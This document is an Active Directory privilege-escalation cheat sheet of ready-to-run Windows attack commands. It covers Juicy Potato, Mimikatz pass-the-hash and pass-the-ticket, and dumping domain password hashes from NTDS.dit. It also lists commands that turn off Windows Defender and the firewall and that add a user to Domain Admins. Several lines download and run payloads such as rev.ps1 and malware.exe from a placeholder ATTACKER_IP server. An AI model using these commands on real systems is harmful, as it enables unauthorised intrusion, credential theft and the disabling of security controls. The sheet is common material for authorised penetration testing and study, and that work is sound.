Active Directory privilege escalation cheat sheet

Recon

Elevation of Privileges

     General

     Kerberoast

Simple logic for kerberoast is requesting tickets and cracking them(offline, doesn’t produce any logs)
– For kerberos to work, times have to be within 5 minutes between attacker and victim.

     Juicy Potato

https://github.com/ohpe/juicy-potato/releases

Pick one CLSID from here according to your system

https://github.com/ohpe/juicy-potato/tree/master/CLSID

Required tokens :-

SeAssignPrimaryTokenPrivilege

SeImpersonatePrivilege 

• C:\Windows\Temp\JuicyPotato.exe -p cmd.exe -a “/c whoami > C:\Users\Public\morph3.txt” -t * -l 1031 -c {d20a3293-3341-4ae8-9aaf-8e397cb63c34}

      Stored Credential

• # To check if there is any stored keyscmdkey /list
• # Using them
• runas /user:administrator /savecred “cmd.exe /k whoami”

      Impersonating Tokens with meterpreter

1. use incognito
2. list_tokens -u
3. impersonate_token NT-AUTHORITY\System

Lateral Movement

PsExec, SmbExec, WMIExec, RDP, PTH in general.
WinRM is always good. Check groups carefully.
Since windows gave support to OpenSSH we should also consider SSH.

     Mimikatz Ticket PTH

1. Enable-PSRemoting
2. mimikatz.exe ‘” kerberos:ptt C:\Users\Public\ticketname.kirbi”‘ “exit”
3. Enter-PSSession -ComputerName ECORP

     WinRM

     PTH with Mimikatz

1. Invoke-Mimikatz -Command ‘”sekurlsa::pth /user:user /domain:domain /ntlm:hash /run:command”‘

     Database Links

Golden and Silver Tickets

Keys depend of ticket :
–> for a Golden, they are from the krbtgt account;
–> for a Silver, it comes from the “computer account” or “service account”.

AD Attacks

     Enumeration

1. # Basic ldap enumeration
2. enum4linux -a 192.168.1.2
3. python windapsearch.py -u morph3 -p morph3 -d evil.corp –dc-ip 192.168.1.2
4. python ad-ldap-enum.py -d contoso.com -l 10.0.0.1 -u Administrator -p [email protected]

     Bruteforce on ldap

     DC Shadow

DC Shadow attack aims to inject malicious Domain Controllers into AD infrastructure so that we can dump actual AD members.

     DC Sync

Bypass-Evasion Techniques

     Powershell Constrained Language Bypass

1. powershell.exe -v 2 -ep bypass -command “IEX (New-Object Net.WebClient).DownloadString(‘http://ATTACKER_IP/rev.ps1’)
2. PSByPassCLM
3. powershell.exe -exec bypass -c

     Windows Defender

1. sc config WinDefend start= disabled
2. sc stop WinDefend
3. # Powershell
4. Set-MpPreference -DisableRealtimeMonitoring $true
5. # Remove definitions
6. “%Program Files%\Windows Defender\MpCmdRun.exe” -RemoveDefinitions -All

     Firewall

1. Netsh Advfirewall show allprofiles
2. NetSh Advfirewall set allprofiles state off

     Ip Whitelisting

1. New-NetFirewallRule -Name morph3inbound -DisplayName morph3inbound -Enabled True -Direction Inbound -Protocol ANY -Action Allow -Profile ANY -RemoteAddress ATTACKER_IP

     Applocker ByPass

     GreatSCT

     EvilSalsa

Miscellaneous

     Changing Permissions of a file

1. icacls text.txt /grant Everyone:F

     Downloading files

1. IEX (New-Object System.Net.WebClient).DownloadString(“http://ATTACKER_IP/rev.ps1”)
2. (New-Object System.Net.WebClient).DownloadFile(“http://ATTACKER_SERVER/malware.exe”, “C:\Windows\Temp\malware.exe”) 
3. Invoke-WebRequest “http://ATTACKER_SERVER/malware.exe” -OutFile “C:\Windows\Temp\malware.exe” 
4. certutil.exe -urlcache -split -f “http://127.0.0.1:80/shell.exe” shell.exe

     Adding user to Domain admins

1. Add-DomainGroupMember -Identity ‘Domain Admins’ -Members morph3 -Verbose

      Base64 Encode-Decode

1. certutil -decode foo.b64 foo.exe
2. certutil -encode foo.exe foo.b64

      Network sharing

      Port Forwarding

1. # Port forward using plink
2. plink.exe -l morph3 -pw pass123 192.168.1.56 -R 8080:127.0.0.1:8080
3. # Port forward using meterpreter
4. portfwd add -l attacker-port -p victim-port -r victim-ip
5. portfwd add -l 3306 -p 3306 -r 192.168.1.56

      Powershell Portscan

1. 0..65535 | % {echo ((new-object Net.Sockets.TcpClient).Connect(VICTIM_IP,$_)) “Port $_ is open!”} 2>$null

      Recovering Powershell Secure String

      Injecting PowerShell scripts Into sessions

1. Invoke-Command -FilePath scriptname -Sessions $sessions
2. Enter-PSSession -Session $sess

      Enable RDP

      Decrypting EFS files with Mimikatz

Follow the link here How to Decrypt EFS Files

Post exploitation – information gathering

      Reading Event Logs

User must be in “Event Log Reader” group
Follow this link

      Password Dump

      Shadow copy

There might be a case where you are privileged but can’t read-access to shadow files(NTDS.dit, SYSTEM etc.)

      NTDS.dit dump

1. secretsdump.py -system /tmp/SYSTEM -ntds /tmp/ntds.dit -outputfile /tmp/result local
2. python crackmapexec.py 192.168.1.56 -u morph3 -p pass1234 -d evilcorp.com –ntds drsuapi
3. # on DC, lsass.exe can dump hashes
4. lsadump::lsa /inject

Summary of tools

      Ad Environment

icebreaker
bloodhound

      Post Exploitation

Empire
DeathStar
CrackMapExec – CME
Covenant
Rubeus
SharpDPAPI

      Bypass

Ebowla
Veil-Framework
PsBypassCLM

      Swiss Knife

impacket